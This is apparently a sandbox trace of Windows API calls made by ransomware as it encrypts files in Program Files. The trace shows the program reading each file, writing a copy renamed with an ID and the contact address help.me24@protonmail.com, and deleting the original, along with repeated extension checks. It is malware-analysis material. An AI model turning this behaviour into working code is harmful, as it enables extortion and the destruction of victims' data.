	[0188.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0188.873] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe")) returned 1
	[0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.874] lstrlenW (lpString=".doc") returned 4
	[0188.874] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.874] lstrlenW (lpString=".docx") returned 5
	[0188.874] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0188.874] lstrlenW (lpString=".pdf") returned 4
	[0188.874] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.874] lstrlenW (lpString=".xls") returned 4
	[0188.874] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.874] lstrlenW (lpString=".xlsx") returned 5
	[0188.874] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0188.874] lstrlenW (lpString=".ppt") returned 4
	[0188.874] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0188.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.874] lstrlenW (lpString=".zip") returned 4
	[0188.874] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.874] lstrlenW (lpString=".rar") returned 4
	[0188.874] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.874] lstrlenW (lpString=".bz2") returned 4
	[0188.874] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.874] lstrlenW (lpString=".7z") returned 3
	[0188.874] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString=".dbf") returned 4
	[0188.875] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString=".1cd") returned 4
	[0188.875] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString=".jpg") returned 4
	[0188.875] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString=".doc") returned 4
	[0188.875] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.875] lstrlenW (lpString=".docx") returned 5
	[0188.875] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0188.875] lstrlenW (lpString=".pdf") returned 4
	[0188.875] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.875] lstrlenW (lpString=".xls") returned 4
	[0188.875] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.875] lstrlenW (lpString=".xlsx") returned 5
	[0188.875] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0188.875] lstrlenW (lpString=".ppt") returned 4
	[0188.875] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString=".zip") returned 4
	[0188.875] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.875] lstrlenW (lpString=".rar") returned 4
	[0188.875] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.875] lstrlenW (lpString=".bz2") returned 4
	[0188.875] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.875] lstrlenW (lpString=".7z") returned 3
	[0188.875] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.875] lstrlenW (lpString=".dbf") returned 4
	[0188.875] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.876] lstrlenW (lpString=".1cd") returned 4
	[0188.876] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0188.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0188.876] lstrlenW (lpString=".jpg") returned 4
	[0188.876] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0188.876] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0188.876] lstrlenW (lpString="leechftp.exe") returned 12
	[0188.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0188.876] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=78336) returned 1
	[0188.876] CloseHandle (hObject=0x360) returned 1
	[0188.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe")) returned 0x20
	[0188.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\leechftp.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0188.877] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.877] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\leechftp.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0188.878] GetLastError () returned 0x0
	[0188.878] ReadFile (in: hFile=0x360, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x13200, lpOverlapped=0x0) returned 1
	[0188.881] WriteFile (in: hFile=0x364, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0x13210, lpOverlapped=0x0) returned 1
	[0189.290] ReadFile (in: hFile=0x360, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.290] WriteFile (in: hFile=0x364, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.290] SetEndOfFile (hFile=0x364) returned 1
	[0189.290] CloseHandle (hObject=0x364) returned 1
	[0189.290] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.290] SetEndOfFile (hFile=0x360) returned 1
	[0189.291] CloseHandle (hObject=0x360) returned 1
	[0189.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0189.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe")) returned 1
	[0189.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.292] lstrlenW (lpString=".doc") returned 4
	[0189.292] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.292] lstrlenW (lpString=".docx") returned 5
	[0189.292] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0189.292] lstrlenW (lpString=".pdf") returned 4
	[0189.292] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.292] lstrlenW (lpString=".xls") returned 4
	[0189.293] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString=".xlsx") returned 5
	[0189.293] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0189.293] lstrlenW (lpString=".ppt") returned 4
	[0189.293] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.293] lstrlenW (lpString=".zip") returned 4
	[0189.293] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString=".rar") returned 4
	[0189.293] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString=".bz2") returned 4
	[0189.293] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.293] lstrlenW (lpString=".7z") returned 3
	[0189.293] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.293] lstrlenW (lpString=".dbf") returned 4
	[0189.293] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.293] lstrlenW (lpString=".1cd") returned 4
	[0189.293] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.293] lstrlenW (lpString=".jpg") returned 4
	[0189.293] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.293] lstrlenW (lpString=".doc") returned 4
	[0189.293] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.293] lstrlenW (lpString=".docx") returned 5
	[0189.293] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0189.293] lstrlenW (lpString=".pdf") returned 4
	[0189.293] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString=".xls") returned 4
	[0189.293] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.293] lstrlenW (lpString=".xlsx") returned 5
	[0189.293] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0189.293] lstrlenW (lpString=".ppt") returned 4
	[0189.294] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.294] lstrlenW (lpString=".zip") returned 4
	[0189.294] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.294] lstrlenW (lpString=".rar") returned 4
	[0189.294] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.294] lstrlenW (lpString=".bz2") returned 4
	[0189.294] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.294] lstrlenW (lpString=".7z") returned 3
	[0189.294] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.294] lstrlenW (lpString=".dbf") returned 4
	[0189.294] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.294] lstrlenW (lpString=".1cd") returned 4
	[0189.294] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0189.294] lstrlenW (lpString=".jpg") returned 4
	[0189.294] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.294] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.294] lstrlenW (lpString="mshwLatin.dll") returned 13
	[0189.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.295] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=1075712) returned 1
	[0189.295] CloseHandle (hObject=0x360) returned 1
	[0189.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20
	[0189.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.295] lstrlenW (lpString=".doc") returned 4
	[0189.295] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.295] lstrlenW (lpString=".docx") returned 5
	[0189.295] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0189.295] lstrlenW (lpString=".pdf") returned 4
	[0189.295] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.295] lstrlenW (lpString=".xls") returned 4
	[0189.295] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.295] lstrlenW (lpString=".xlsx") returned 5
	[0189.295] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0189.295] lstrlenW (lpString=".ppt") returned 4
	[0189.295] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.295] lstrlenW (lpString=".zip") returned 4
	[0189.295] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.295] lstrlenW (lpString=".rar") returned 4
	[0189.295] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.295] lstrlenW (lpString=".bz2") returned 4
	[0189.295] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.296] lstrlenW (lpString=".7z") returned 3
	[0189.296] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString=".dbf") returned 4
	[0189.296] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString=".1cd") returned 4
	[0189.296] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString=".jpg") returned 4
	[0189.296] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString=".doc") returned 4
	[0189.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString=".docx") returned 5
	[0189.296] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0189.296] lstrlenW (lpString=".pdf") returned 4
	[0189.296] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString=".xls") returned 4
	[0189.296] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString=".xlsx") returned 5
	[0189.296] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0189.296] lstrlenW (lpString=".ppt") returned 4
	[0189.296] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString=".zip") returned 4
	[0189.296] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString=".rar") returned 4
	[0189.296] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.296] lstrlenW (lpString=".bz2") returned 4
	[0189.296] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.296] lstrlenW (lpString=".7z") returned 3
	[0189.296] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.296] lstrlenW (lpString=".dbf") returned 4
	[0189.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.297] lstrlenW (lpString=".1cd") returned 4
	[0189.297] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64
	[0189.297] lstrlenW (lpString=".jpg") returned 4
	[0189.297] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.297] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.297] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.298] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10240) returned 1
	[0189.298] CloseHandle (hObject=0x360) returned 1
	[0189.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20
	[0189.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.299] lstrlenW (lpString=".doc") returned 4
	[0189.299] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.299] lstrlenW (lpString=".docx") returned 5
	[0189.299] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.299] lstrlenW (lpString=".pdf") returned 4
	[0189.299] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.299] lstrlenW (lpString=".xls") returned 4
	[0189.299] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.299] lstrlenW (lpString=".xlsx") returned 5
	[0189.299] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.299] lstrlenW (lpString=".ppt") returned 4
	[0189.299] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.299] lstrlenW (lpString=".zip") returned 4
	[0189.299] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.299] lstrlenW (lpString=".rar") returned 4
	[0189.299] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.299] lstrlenW (lpString=".bz2") returned 4
	[0189.299] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.299] lstrlenW (lpString=".7z") returned 3
	[0189.299] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.299] lstrlenW (lpString=".dbf") returned 4
	[0189.299] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.299] lstrlenW (lpString=".1cd") returned 4
	[0189.299] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString=".jpg") returned 4
	[0189.300] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString=".doc") returned 4
	[0189.300] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.300] lstrlenW (lpString=".docx") returned 5
	[0189.300] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.300] lstrlenW (lpString=".pdf") returned 4
	[0189.300] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.300] lstrlenW (lpString=".xls") returned 4
	[0189.300] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.300] lstrlenW (lpString=".xlsx") returned 5
	[0189.300] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.300] lstrlenW (lpString=".ppt") returned 4
	[0189.300] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString=".zip") returned 4
	[0189.300] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.300] lstrlenW (lpString=".rar") returned 4
	[0189.300] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.300] lstrlenW (lpString=".bz2") returned 4
	[0189.300] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.300] lstrlenW (lpString=".7z") returned 3
	[0189.300] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString=".dbf") returned 4
	[0189.300] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString=".1cd") returned 4
	[0189.300] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72
	[0189.300] lstrlenW (lpString=".jpg") returned 4
	[0189.300] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.301] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.301] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.301] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10240) returned 1
	[0189.301] CloseHandle (hObject=0x360) returned 1
	[0189.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20
	[0189.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72
	[0189.301] lstrlenW (lpString=".doc") returned 4
	[0189.301] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.301] lstrlenW (lpString=".docx") returned 5
	[0189.301] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.302] lstrlenW (lpString=".pdf") returned 4
	[0189.302] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.302] lstrlenW (lpString=".xls") returned 4
	[0189.302] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
